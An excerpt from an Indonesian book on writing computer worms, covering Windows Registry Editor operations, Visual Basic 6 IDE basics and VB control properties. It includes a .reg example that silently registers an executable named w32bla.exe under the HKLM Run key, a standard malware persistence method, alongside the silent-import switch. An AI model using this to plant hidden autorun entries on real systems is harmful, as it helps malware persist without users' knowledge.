3.2.1 MEMBUKA APLIKASI REGISTRY EDITOR Anda tidak akan menemukan shortcut-nya pada Startmenu karena aplikasi ini hanya diperuntukan bagi advanced user, yang sedikitnya mengerti tentang registry sehingga tidak menimbulkan hal-hal yang bisa mengakibatkan kerusakan, karena salah mengubah pengaturan pada registry. Untuk membuka aplikasi Registry Editor bisa dengan cara: 1. Klik Startmenu 2. Pilih Run, akan muncul kotak dialog Run, pada TextBox Open ketik 'regedit’ kemudian klik OK atau tekan tombol enter pada keyboard
3. Untuk menutup aplikasi Registry Editor, klik menu 'Registry’ kemudian klik 'Exit’.
32
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Lingkungan kerja Registry Editor meliputi: 1. Menubar yang pada versi Windows 9x dan ME terdiri dari menu Registry, Edit, View dan Help sementara pada Windows 2000 dan XP terdiri dari File, Edit, View, Favorites dan Help 2. Explorerbar yang berupa folder tree di sisi kiri dan content list di sisi kanan.
3.3 OPERASI DASAR REGISTRY EDITOR Sebaiknya kita memanipulasi registry jika hal tersebut sungguh perlu untuk dilakukan, karena jika ada suatu kesalahan dalam melakukan perubahan pada registry, komputer bisa menjadi tidak berfungsi dengan normal. Namun jika hal ini terjadi, Anda masih dapat mengembalikan pengaturan registry tersebut ke kondisi saat terakhir komputer sukses di jalankan dengan normal.
33
Jasakom
Bab 3. Registry Windows
3.2.2 LINGKUNGAN KERJA REGISTRY EDITOR
Computer Worm 1 - Secret of Underground Coding : Uncensored
3.3.1 BACKUP & RESTORE REGISTRY Pada Windows 95, disertakan sebuah file utility pada CD installer Windows 95 yang bernama cfgback.exe. File ini berada pada folder \Other\Misc\Cfgback.
Bab 3. Registry Windows
Utility ini sanggup membuat 9 salinan registry yang berbeda, dan disimpan dengan ekstensi *.rbk pada direktori Windows, dengan utility ini pula file *.rbk tersebut diubah kembali menjadi registry aktif. Pada Microsoft Windows 98, system secara otomatis membuat backup registry setiap kali Windows startup, walau demikian kita bisa membuat backup secara manual dengan menggunakan perintah SCANREGW.EXE dari Startmenu, kemudian klik Run dan ketik 'scanregw’ pada TextBox Open.
Untuk mengubah data backup kembali menjadi registry aktif dapat menggunakan langkah-langkah berikut: 1. Klik Startmenu, kemudian klik Shut Down 2. Pilih opsi Restart in MS-DOS Mode, klik OK 3. Pada MS-DOS Prompt, ketik: SCANREG /RESTORE Ikuti petunjuk yang diberikan, pilih tanggal backup saat terakhir komputer sukses di jalankan dengan normal, dan akhiri dengan me-restart komputer.
34
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Untuk mengekspor sebagian atau seluruh data registry pada suatu file text, dapat dilakukan dengan cara: 1. Klik My Computer untuk mengekspor seluruh data registry, atau klik suatu hive untuk mengekspor isi dari hive tersebut 2. Pada menu Registry, klik Export Registry File, tentukan lokasi penyimpanan file yang diekspor, kemudian ketik nama file yang diinginkan. File yang dibuat akan berekstensi *.reg, dan bisa diubah dengan menggunakan text editor apa saja. Untuk mengimpor suatu data registry dari file yang berekstensi *.reg, dapat dilakukan dengan cara, pada menu Registry, klik Import Registry File. Tentukan lokasi dan nama file yang ingin diimpor, kemudian klik Open.
3.3.3 MANIPULASI KEY & VALUE Untuk menambah suatu key, dapat dilakukan dengan cara sebagai berikut: 1. Klik pada hive yang akan ditambahkan key baru 2. Klik Edit pada menubar, arahkan pada opsi New dan pilih Key
3. Sebuah key baru akan muncul dengan nama default seperti 'New Key #1’ 4. Ketik nama yang diinginkan, dan tekan enter.
35
Jasakom
Bab 3. Registry Windows
3.3.2 EXPORT & IMPORT DATA REGISTRY
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 3. Registry Windows
Untuk menambah suatu value, dapat dilakukan dengan cara sebagai berikut: 1. Klik pada hive yang akan ditambahkan value baru 2. Klik menu Edit, arahkan pada opsi New dan pilih jenis value yang ingin ditambahkan: String Value, Binary Value, atau DWORD Value 3. Sebuah value baru akan muncul dengan nama default seperti 'New Value #1’ 4. Ketik nama yang diinginkan, dan tekan enter. Untuk mengubah data pada suatu value, dapat dilakukan dengan cara sebagai berikut: 1. Klik pada value yang akan diubah datanya 2. Klik menu Edit, kemudian klik Modify, sebuah kotak dialog editor akan muncul sesuai dengan jenis data value yang akan diubah. Lakukan perubahan dan tekan enter untuk mengakhirinya. Untuk menghapus suatu key atau value, dapat dilakukan dengan cara sebagai berikut: 1. Klik pada key atau value yang akan dihapus 2. Klik menu Edit, kemudian klik Delete. Untuk mengubah nama suatu key atau value, dapat dilakukan dengan cara sebagai berikut: 1. Klik pada key atau value yang namanya akan diubah 2. Klik menu Edit, kemudian klik Rename 3. Ketik nama yang diinginkan, dan tekan enter.
36
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Registry Editor juga menyediakan fasilitas find (pencarian) yang sangat berguna apabila kita mencari suatu string tertentu pada registry, hal ini dapat dilakukan dengan cara sebagai berikut: 1. Klik My Computer untuk melakukan pencarian pada seluruh data registry, atau klik suatu hive untuk memulai pencarian dari isi hive tersebut 2. Klik menu Edit, kemudian klik Find 3. Akan tampil sebuah kotak dialog Find. Ketikan suatu string yang ingin dicari pada textbox 'Find what’, kemudian beri tanda check pada opsi Keys, Values atau Data untuk melakukan pencarian pada masing-masing opsi tersebut
4. Klik Find Next, jika Registry Editor menemukan string yang Anda cari maka secara otomatis Registry Editor akan menyorot pada string tersebut. Untuk mengulang pencarian dengan string yang sama Anda tinggal mengklik 'Find Next’ pada menu Edit
37
Jasakom
Bab 3. Registry Windows
3.3.4 PENCARIAN TEKS PADA KEY, VALUE ATAU DATA
Computer Worm 1 - Secret of Underground Coding : Uncensored
5. Jika string yang dicari hingga string terakhir dari Keys, Values atau Data tidak juga ditemukan maka akan muncul sebuah kotak pesan sebagai berikut:
Bab 3. Registry Windows
3.3.5 MENGGUNAKAN PERINTAH BARIS (COMMAND LINE) Registry Editor memiliki beberapa pilihan perintah baris untuk mempermudah otomasi dalam penggunaan batch file atau perintah langsung dari DOS prompt. Bentuk umumnya adalah: regedit.exe [options] [filename] [regpath]
Beberapa contoh penggunaan parameter perintah regedit ini adalah : regedit [filename] , akan mengimpor data file *.reg ke dalam registry aktif, contoh: regedit c:\file.reg
Data pada file file.reg akan di install atau dimasukkan ke dalam registry windows. Contoh lainnya adalah regedit /s [filename] yang akan menyembunyikan kotak dialog konfirmasi saat mengimpor file *.reg, contoh: regedit /s c:\file.reg
38
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Dengan perintah ini, regedit tidak akan menampilkan konfirmasi kepada user saat memasukkan data file.reg ke dalam registry. Dengan perintah :
regedit /e file.reg HKEY_USERS\.DEFAULT
3.3.6 MEMANFAATKAN FILE REG File reg sudah terasosiasi dengan aplikasi Registry Editor, sehingga apabila kita melakukan klik ganda pada file reg, maka file reg tersebut akan diimpor pada registry aktif, yang sebelumnya akan menampilkan sebuah kotak dialog konfirmasi. Klik Yes apabila Anda yakin untuk mengimpor file reg tersebut.
Contoh file reg berikut akan membuat sebuah String Value bernama 'winsys’ dengan data 'c:\windows\w32bla.exe’ pada lokasi registry: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run. Apabila value tersebut sudah ada pada lokasi registry tersebut maka data dari value tersebut akan di-overwrite dengan data yang baru.
REGEDIT4 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] "winsys"="c:\\windows\\w32bla.exe"
39
Jasakom
Bab 3. Registry Windows
regedit /e [filename] [regpath], data dari registry akan diekspor ke [filename] yang dimulai pada [regpath], contoh:
Computer Worm 1 - Secret of Underground Coding : Uncensored
Contoh lain untuk membuat sebuah DWORD Value dan Binary Value: REGEDIT4 [HKEY_CURRENT_USER\Control Panel\Desktop] "ScreenSaveUsePassword"=dword:00000000 "SmoothScroll"=hex:00,00,00,00
Bab 3. Registry Windows
File reg juga dapat digunakan untuk menghapus suatu key atau value pada registry aktif, dengan memberi tanda '-'. Contoh berikut ini akan menghapus key registry aktif pada HKEY_CURRENT_USER\Software\Malcode REGEDIT4 [-HKEY_CURRENT_USER\Software\Malcode]
Contoh lain untuk menghapus sebuah value: REGEDIT4 [HKEY_CURRENT_USER\Control Panel\Desktop] "ScreenSaveUsePassword"=-
Catatan: Penulis menemukan suatu bug pada cara ini dimana aplikasi Registry Editor tidak akan mengeksekusi baris terakhir, jadi pastikan ada baris kosong pada akhir file, untuk itu klik bagian bawah teks terakhir, apabila kursor berpindah ke baris kosong maka cara tersebut sudah benar, jika tidak maka tempatkan kursor pada akhir teks, kemudian tekan enter untuk membuat baris baru dibawahnya. Perhatikan pada teks awal yakni "REGEDIT4", tidak terdapat spasi diantara REGEDIT dan 4. Perhatikan juga teks "dword" dan "hex", teks ini menggunakan lowercase (huruf kecil).
40
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab 4. Mengenal Visual Basic
BAB 4 MENGENAL VISUAL BASIC 6.0
Kenapa bab ini ada?
Visual Basic merupakan salah satu bahasa pemrograman yang banyak digunakan para worm writer untuk membuat worm, dengan Visual Basic pula seorang administrator sistem bisa membuat sebuah removal tool (alat pembersih) untuk worm. Bab ini akan mengenalkan kita pada tampilan, peralatan dan dasar-dasar penggunaan aplikasi Visual Basic.
41
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
V
isual Basic 6.0 adalah salah satu bahasa pemrograman tingkat tinggi yang berguna untuk membuat suatu aplikasi dengan cepat dan mudah. Visual Basic dibuat dalam lingkungan Microsoft Windows sehingga mampu berinteraksi dengan seluruh aplikasi Windows.
Bab 4. Mengenal Visual Basic
Didalam pengembangan program, aplikasi Visual Basic 6.0 banyak didukung fasilitas-fasilitas tambahan sehingga mampu menghasilkan program yang bermutu tinggi.
4.1 LINGKUNGAN KERJA VISUAL BASIC Seperti aplikasi Windows pada umumnya, IDE (Integrated Development Environment) atau lingkungan kerja dari Visual Basic juga memiliki menubar, toolbar dan beberapa jendela tambahan seperti Project Explorer, Form Properties Window, Layout Window, Toolbox, Form Window Dan Code Editor.
Jendela Utama Visual Basic 6.0
42
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
4.1.1 MENUBAR
Menubar berupa menu dropdown yang terdiri dari menu File, Edit, View, Project, Format, Debug, Run, Query, Diagram, Tools, Add-Ins, Window dan menu Help.
4.1.2 TOOLBAR Toolbar berfungsi sama seperti menubar, hanya saja toolbar adalah tombol-tombol shortcut yang mewakili suatu perintah tertentu dari Visual Basic.
Untuk memilih suatu proses yang akan dilakukan, Anda tinggal mengklik icon yang sesuai. Dengan adanya toolbar, pengguna akan dimudahkan dalam memilih proses yang sering dilakukan tanpa harus memilihnya melalui menubar.
4.1.3 PROJECT EXPLORER Project Explorer adalah jendela yang menampilkan semua file di dalam aplikasi Visual Basic. Setiap aplikasi dalam Visual Basic disebut dengan istilah project, dan setiap project bisa mengandung lebih dari satu object misalnya form, module, class, dan sebagainya.
43
Jasakom
Bab 4. Mengenal Visual Basic
Menubar adalah kumpulan instruksi yang diklasifikasikan menjadi beberapa menu lainnya.
Computer Worm 1 - Secret of Underground Coding : Uncensored
4.1.4 PROPERTIES WINDOWS Properties Windows adalah jendela yang menampilkan semua informasi mengenai object yang terdapat pada aplikasi Visual Basic. Bab 4. Mengenal Visual Basic
Properties disini diartikan sebagai sifat dari sebuah object misalnya nama, jenis huruf, warna, ukuran, dan sebagainya.
4.1.5 FORM LAYOUT WINDOW Form layout window berguna untuk melihat dan mengatur posisi form pada layar monitor saat form aktif. Untuk menggunakan jendela ini tinggal mengklik icon form dan menggesernya ke posisi yang diinginkan.
4.1.6 TOOLBOX Toolbox adalah sebuah "kotak peralatan" yang memuat object atau control yang dibutuhkan untuk membentuk suatu program aplikasi. Control adalah object yang menjadi perantara antara program aplikasi dan pengguna, yang kesemuanya diletakkan di dalam jendela form.
44
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
4.1.7 FORM WINDOW
Bab 4. Mengenal Visual Basic
Form Window adalah tempat untuk membuat tampilan bagi program yang dibuat, Anda bisa menambahkan control object pada Form Window.
4.1.8 CODE WINDOW Code Window atau jendela kode adalah tempat kode dan instruksi-instruksi pemrograman diketikkan dalam bahasa Visual Basic.
Untuk membuka jendela kode ada beberapa cara: 1. Klik View pada menubar, kemudian klik Code, atau tekan tombol Alt+V kemudian tekan tombol C 2. Klik kanan pada bidang form, kemudian klik View Code 3. Klik ganda pada bidang form atau control object yang ada 4. Klik kanan pada Project Explorer, kemudian klik View Code 5. Klik icon View Code pada Project Explorer.
45
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
4.2 PEMBUATAN APLIKASI Pembuatan sebuah program aplikasi harus dikerjakan dalam sebuah project, menambahkan control object yang dibutuhkan, kemudian menulis kode program dan menjalankan program tersebut. Terakhir ,program tersebut akan di compile sehingga menjadi sebuah file executable. Bab 4. Mengenal Visual Basic
Sebuah project bisa terdiri dari file project (.vbp), file form (.frm), data binary untuk setiap form (.frx), module class (.cls), module (.bas), dan resource file (.res).
4.2.1 MEMBUAT PROYEK Pada saat memulai Visual Basic akan tampil jendela New Project, untuk membuat sebuah project standar klik icon Standar EXE pada tab New dan klik Open, atau klik File pada menubar kemudian pilih New Project.
46
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
4.2.2 MENYISIPKAN CONTROL
Bab 4. Mengenal Visual Basic
Untuk menambahkan control object dapat dilakukan dengan cara: 1. Klik ganda control object yang diinginkan pada toolbox 2. Klik control object, kemudian klik (tahan) pada bidang form dan geser mouse sampai ukuran yang diinginkan.
4.2.3 SETTING PROPERTIES Setiap form dan control sudah memiliki properties yang di-setting secara default ketika sebuah project dibuat. Untuk mengubah ukuran, letak atau jenis huruf yang digunakan bisa dilakukan dengan mengatur properties pada object. Ada dua cara untuk melihat properties dari sebuah object: 1. Klik pada object form atau Control pada Form Window, kemudian klik pada jendela properties atau tombol Properties Window pada toolbar. 2. Klik pada jendela properties, kemudian pilih object yang dimaksud pada kotak Object pada Properties Window.
4.2.4 MENGETIK KODE PROGRAM Pengetikan kode program dilakukan pada jendela kode, contoh kode
47
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
program yang ditulis pada jendela kode adalah sebagai berikut:
Bab 4. Mengenal Visual Basic
4.2.5 MENYIMPAN PROGRAM Menyimpan program dapat dilakukan dengan beberapa cara, yaitu: 1. Tekan tombol Ctrl+S 2. Klik tombol Save pada toolbar 3. Klik File pada menubar kemudian pilih Save.
4.2.6 MENJALANKAN PROGRAM Untuk melihat hasil dari program aplikasi yang telah dibuat, dapat dilakukan dengan menjalankan atau mengeksekusi program tersebut dengan cara: 1. Tekan tombol F5 pada keyboard 2. Klik Run pada menubar kemudian pilih Start 3. Klik icon Start (u) pada toolbar.
48
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
4.2.7 KOMPILASI PROGRAM MENJADI EXE
Bab 4. Mengenal Visual Basic
Kompilasi adalah tahap terakhir dalam pembuatan sebuah program aplikasi, dimana program yang telah selesai akan dibuat menjadi sebuah file executable, yang dapat dieksekusi tanpa menggunakan program aplikasi Visual Basic. Untuk mengkompilasi dapat dilakukan dengan cara: 1. Klik File pada menubar, kemudian klik Make Nama_Proyek.Exe
Akan tampil kotak dialog Make Project,
2. Isi textbox File name dengan nama file Exe yang akan dibuat, default-nya adalah nama dari project Anda. Pilih direktori tempat file tersebut akan diletakkan nanti. Klik OK. Tunggu sampai proses selesai.
49
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab 5. Object Form dan Control
BAB 5 OBJECT FORM DAN CONTROL
Kenapa bab ini ada? Dalam mempelajari aplikasi Visual Basic tak terlepas dari istilah object dan control, maka untuk melanjutkan bab sebelumnya bab ini akan membahas lebih jauh mengenai object dan control yang terdapat pada aplikasi Visual Basic. Selain mengenal beberapa object dan control bab ini juga memuat beberapa event dan properties yang sering digunakan pada object dan control tersebut.
51
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
O
bject adalah segala sesuatu yang ada pada program. Setiap object pada Visual Basic didefinisikan oleh suatu class. Object bisa berupa form dan control, jadi bisa dikatakan bahwa form dan control adalah suatu class. Class adalah definisi formal suatu object dan berfungsi sebagai template dari suatu object yang dibuat saat run-time, class mendefinisikan setiap properti dan metode untuk mengontrol tindakan object.
Bab 5. Object Form dan Control
Properti adalah penanda suatu object yang mengatur sifat-sifat object tersebut seperti nama, jenis huruf yang digunakan, warna, ukuran dan lain sebagainya. Sedangkan metode disini berarti suatu procedure yang dikenakan pada suatu object, metode memanfaatkan object untuk melakukan suatu kejadian tertentu. Pada saat kita membuat project baru, Visual Basic menyediakan control standar untuk digunakan pada form, control standar tersebut disebut control intrinsic, control ini juga merupakan class-class yang sudah tersedia. Bab ini akan membahas tentang properti dan event atas form dan control-control intrinsic tersebut. Event adalah suatu kejadian yang direspon oleh object, seperti klik mouse, klik tombol keyboard dan lain sebagainya. Perlu Anda ketahui bahwa event suatu control bisa dieksekusi oleh control lainnya.
52
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Form berfungsi sebagai perantara antara program dan user. Saat kita membuat project (Standard EXE) baru, Visual Basic secara otomatis memberikan sebuah form bernama Form1. Dibawah ini beberapa contoh properti yang biasanya digunakan untuk merancang suatu form:
PROPERTI
KETERANGAN
(Name)
Nama form biasanya diberi prefix frm
BackColor
Warna latar belakang form
BorderStyle
Model
Caption
Titel atau judul form
ControlBox
Menampilkan atau menyembunyikan tombol control (minimize, restore/ maximize, close) pada form
Enabled
Jika bernilai true, mengijinkan form untuk merespon event mouse dan keyboard. Jika bernilai false, form akan menolak event tersebut.
Font
Mengatur jenis, model dan ukuran huruf
Height
Tinggi form
Icon
Menetapkan icon untuk form tersebut atau aplikasi apabila form tersebut terpilih sebagai Startup Object.
MaxButton
Jika bernilai false, maka tombol maximize menjadi disable (tidak aktif)
MDIChild
Menetapkan apakah form tersebut MDI (Multiple Document Interface) atau tidak.
MinButton
Jika bernilai false, maka tombol minimize menjadi tidak aktif
Picture
Memasukan object gambar pada form.
53
Jasakom
Bab 5. Object Form dan Control
5.1 FORM
Computer Worm 1 - Secret of Underground Coding : Uncensored
PROPERTI
KETERANGAN
Bab 5. Object Form dan Control
Visible
Mengatur apakah form akan ditampilkan pada user atau menyembunyikannya.
ShowInTaskbar
Mengatur apakah form akan ditampilkan pada taskbar atau menyembunyikannya.
StartUpPosition
Posisi form pada layar monitor, saat di-load
Tag
Digunakan sebagai kontainer untuk data dari control yang ingin disimpan
Width
Lebar form
WindowState
Mengatur ukuran tampilan form saat di-load apakah minimize atau maximize.
Event adalah kejadian yang berpengaruh langsung pada form, contoh beberapa event yang biasanya dimanfaatkan:
EVENT
SAAT TERJADI
Activate
Form terpilih dan menjadi aktif
Click
User mengklik pada bidang form
DblClick
User melakukan double click pada bidang form
Load
Form diaktifkan untuk pertama kali atau sesaat sebelum ditampilkan
Unload
Form di non-aktifkan atau sesaat sebelum mengakhiri form tersebut
Terminate
Form diakhiri, baik mengikuti procedure atau diluar dari procedure yang ada.
5.2 KONTROL Control adalah object yang ditempatkan pada bidang form sebagai perantara program dan user baik sebagai media masukan atau keluaran.
54
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
5.2.1 PICTUREBOX Dengan control PictureBox kita bisa menempatkan object gambar pada form. Dibawah ini beberapa contoh properti yang biasanya digunakan untuk control PictureBox:
KETERANGAN Nama PictureBox, biasanya diberi prefix pic
Align
Pengaturan posisi PictureBox pada form
AutoSize
Jika true, maka ukuran PictureBox akan menyesuaikan object gambar didalamnya.
BackColor
Warna latar belakang PictureBox
BorderStyle
Mengatur garis tepi pada form
Height
Tinggi PictureBox
Left
Jarak PictureBox pada batas tepi kiri form
Picture
Memasukan object gambar pada PictureBox.
TabIndex
Urutan perpindahan tabulasi
TabStop
Jika false, maka control tersebut tidak akan terfokus
Width
Lebar PictureBox.
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan:
EVENT
SAAT TERJADI
Change
Terjadi perubahan pada PictureBox, misalnya pada properti Picture
Click
User mengklik pada bidang PictureBox
DblClick
User melakukan double click pada bidang PictureBox.
55
Jasakom
Bab 5. Object Form dan Control
PROPERTI (Name)
Computer Worm 1 - Secret of Underground Coding : Uncensored
5.2.2 LABEL Control Label digunakan untuk membuat label pada bidang form yang biasanya berfungsi sebagai pemberi keterangan. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI
KETERANGAN
Bab 5. Object Form dan Control
(Name)
Nama Label, biasanya diberi prefix lbl
Alignment
Mengatur perataan teks pada Label
AutoSize
Jika true, maka ukuran Label akan menyesuaikan pada ukuran teks.
BackColor
Warna latar belakang Label
BackStyle
Jika transparent, maka latar belakang Label menjadi transparan.
BorderStyle
Mengatur garis tepi pada Label
Caption
Mengatur teks yang akan ditampilkan Label
Font
Mengatur jenis, model dan ukuran huruf
ForeColor
Mengatur warna teks pada Label
Height
Tinggi Label
ToolTipText
Mengatur keterangan yang akan ditampilkan secara pop-up saat pointer berada pada Label.
Visible
Jika false, maka Label tidak ditampilkan
Width
Lebar Label.
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
SAAT TERJADI
Change
Terjadi perubahan pada Label, misalnya pada properti Caption
Click
User mengklik pada bidang Label
DblClick
User melakukan double click pada bidang Label.
56
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
5.2.3 TEXTBOX Control TextBox digunakan sebagai tempat masukan atau keluaran data berupa teks. Dibawah ini beberapa contoh properti yang biasanya digunakan:
KETERANGAN
(Name)
Nama TextBox, biasanya diberi prefix txt
Alignment
Mengatur perataan teks pada TextBox
Height
Tinggi TextBox
MaxLength
Mengatur batas jumlah karakter yang bisa dimasukkan pada TextBox
MultiLine
Jika true, maka memungkinkan untuk menggunakan teks lebih dari satu baris.
PasswordChar
Mengatur karakter untuk password
ScrollBars
Mengatur scrollbar pada TextBox
Text
Mengatur teks yang akan ditampilkan TextBox
ToolTipText
Mengatur keterangan yang akan ditampilkan secara pop-up saat pointer berada pada TextBox.
Visible
Jika false, maka TextBox tidak ditampilkan
Width
Lebar TextBox.
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan:
EVENT
SAAT TERJADI
Change
Terjadi perubahan pada TextBox, misalnya pada properti Text
Click
User mengklik pada bidang TextBox
DblClick
User melakukan double click pada bidang TextBox.
57
Jasakom
Bab 5. Object Form dan Control
PROPERTI
Computer Worm 1 - Secret of Underground Coding : Uncensored
5.2.4 FRAME Control Frame biasanya digunakan untuk mengelompokkan control dalam suatu area frame, dimana lokasi control (left, right, top) yang berada didalamnya akan menyesuaikan dengan lingkungan frame tersebut. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
KETERANGAN
Bab 5. Object Form dan Control
(Name)
Nama Frame, biasanya diberi prefix fra
Caption
Mengatur teks judul yang akan ditampilkan Frame
Height
Tinggi Frame
Width
Lebar Frame.
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
SAAT TERJADI
Click
User mengklik pada bidang Frame
DblClick
User melakukan double click pada bidang Frame.
5.2.5 COMMANDBUTTON Control CommandButton adalah control yang berupa tombol, yang digunakan untuk mengeksekusi suatu instruksi tertentu. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
KETERANGAN
(Name)
Nama CommandButton, biasanya diberi prefix cmd
BackColor
Warna latar belakang CommandButton apabila properti Style diatur pada opsi graphical
Caption
Mengatur teks yang akan ditampilkan CommandButton.
DisabledPicture
Mengatur gambar untuk latar belakang CommandButton saat properti Enabled adalah false dan properti Style diatur pada opsi graphical
58
Jasakom
DownPicture
Mengatur gambar untuk latar belakang CommandButton pada saat posisi tombol diklik, dengan syarat properti Enabled adalah false dan properti Style diatur pada opsi graphical
Enabled
Jika bernilai true, mengijinkan CommandButton untuk merespon event mouse dan keyboard. Jika bernilai false, CommandButton akan menolak event tersebut.
Font
Mengatur jenis, model dan ukuran huruf
Height
Tinggi CommandButton
Picture
Mengatur gambar untuk latar belakang CommandButton jika properti Enabled adalah true dan properti Style diatur pada opsi graphical
TabIndex
Urutan perpindahan tabulasi
TabStop
Jika false, maka control tersebut tidak akan terfokus
Width
Lebar CommandButton.
Dibawah ini adalah event yang selalu dimanfaatkan: EVENT Click
SAAT TERJADI User mengklik pada CommandButton
5.2.6 CHECKBOX Control CheckBox adalah control yang berupa kotak pilihan, digunakan untuk informasi masukan yang dapat bernilai true atau false. Di bawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
KETERANGAN
(Name)
Nama CheckBox, biasanya diberi prefix chk
Alignment
Mengatur perataan kotak opsi, memposisikan disebelah kiri atau disebelah kanan CheckBox
BackColor
Warna latar belakang CheckBox
59
Jasakom
Bab 5. Object Form dan Control
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 5. Object Form dan Control
Caption
Mengatur teks yang akan ditampilkan CheckBox
Enabled
Jika bernilai true, mengijinkan CheckBox untuk merespon event mouse dan keyboard. Jika bernilai false, CheckBox akan menolak event tersebut
Font
Mengatur jenis, model dan ukuran huruf
ForeColor
Mengatur warna teks pada CheckBox
Height
Tinggi CheckBox
Value
Jika bernilai checked maka berarti kotak opsi dipilih (ditandai dengan tanda centang pada kotak opsi).
Width
Lebar CheckBox.
Di bawah ini adalah event yang selalu dimanfaatkan: EVENT Click
SAAT TERJADI User mengklik pada CheckBox
5.2.7 OPTIONBUTTON Control OptionButton adalah control yang berupa pilihan, digunakan untuk informasi masukan. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
KETERANGAN
(Name)
Nama OptionButton, biasanya diberi prefix opt
Alignment
Mengatur perataan kotak opsi, memposisikan disebelah kiri atau disebelah kanan OptionButton
BackColor
Warna latar belakang OptionButton
Caption
Mengatur teks yang akan ditampilkan OptionButton
Enabled
Jika bernilai true, mengijinkan OptionButton untuk merespon event mouse dan keyboard. Jika bernilai false, OptionButton akan menolak event tersebut
60
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Font
Mengatur jenis, model dan ukuran huruf
ForeColor
Mengatur warna teks pada OptionButton
Height
Tinggi OptionButton
Value
Jika bernilai true maka berarti kotak opsi dipilih (ditandai dengan tanda titik pada opsi).
Width
Lebar OptionButton.
EVENT
SAAT TERJADI
Click
User mengklik pada OptionButton
DblClick
User melakukan double click pada OptionButton.
5.2.8 COMBOBOX Control ComboBox adalah control yang biasanya berupa suatu daftar pilihan dan digunakan untuk informasi masukan. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
KETERANGAN
(Name)
Nama ComboBox, biasanya diberi prefix cbo
BackColor
Warna latar belakang ComboBox
Enabled
Jika bernilai true, mengijinkan ComboBox untuk merespon event mouse dan keyboard. Jika bernilai false, ComboBox akan menolak event tersebut
Font
Mengatur jenis, model dan ukuran huruf
ForeColor
Mengatur warna teks pada ComboBox
Height
Tinggi ComboBox
Locked
Jika true, maka data pada ComboBox bisa diubah saat run-time
Sorted
Mengurutkan pilihan yang ada pada ComboBox
Text
Isi ComboBox
Width
Lebar ComboBox.
61
Jasakom
Bab 5. Object Form dan Control
Dibawah ini adalah event yang selalu dimanfaatkan:
Computer Worm 1 - Secret of Underground Coding : Uncensored
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
SAAT TERJADI
Bab 5. Object Form dan Control
Change
Terjadi perubahan pada ComboBox
Click
User mengklik pada ComboBox
DblClick
User melakukan double click pada ComboBox
GotFocus
ComboBox mendapat fokus
LostFocus
Sesaat sebelum fokus berpindah dari ComboBox.
5.2.9 LISTBOX Control ListBox adalah control berupa kotak daftar berisi pilihanpilihan, digunakan untuk informasi masukan. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
KETERANGAN
(Name)
Nama ListBox, biasanya diberi prefix lst
BackColor
Warna latar belakang ListBox
Columns
Mengatur jumlah kolom pada ListBox
Enabled
Jika bernilai true, mengijinkan ListBox untuk merespon event mouse dan keyboard. Jika bernilai false, ListBox akan menolak event tersebut
Font
Mengatur jenis, model dan ukuran huruf
ForeColor
Mengatur warna teks pada ListBox
Height
Tinggi ListBox
List
Daftar pilihan yang ditampilkan pada ListBox
Sorted
Mengurutkan pilihan yang ada pada ListBox
Style
Jika bernilai checkbox, pemilihan bisa lebih dari dua opsi dengan memberi centang pada opsi-opsi yang dipilih
Width
Lebar ListBox.
62
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: SAAT TERJADI
Click
User mengklik pada ListBox
DblClick
User melakukan double click pada ListBox
GotFocus
ListBox mendapat fokus
ItemCheck
Saat sebuah opsi dipilih dengan memberikan tanda centang
LostFocus
Sesaat sebelum fokus berpindah dari ListBox.
5.2.10 HSCROLLBAR Control HScrollBar atau horizontal scrollbar adalah control masukan yang digunakan sebagai input atau indikator kuantitas dalam bentuk horisontal. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
KETERANGAN
(Name)
Nama HScrollBar, biasanya diberi prefix hsb
Enabled
Jika bernilai true, mengijinkan HScrollBar untuk merespon event mouse dan keyboard. Jika bernilai false, HScrollBar akan menolak event tersebut
Height
Tinggi HScrollBar
LargeChange
Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada HScrollBar saat area bar di klik
Max
Mengatur nilai terbesar pada properti Value, jangkauan terbesar adalah 32,767
Min
Mengatur nilai terkecil pada properti Value, jangkauan terkecil antara -32,768
SmallChange
Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada HScrollBar saat panah scroll di klik
Width
Lebar HScrollBar.
63
Jasakom
Bab 5. Object Form dan Control
EVENT
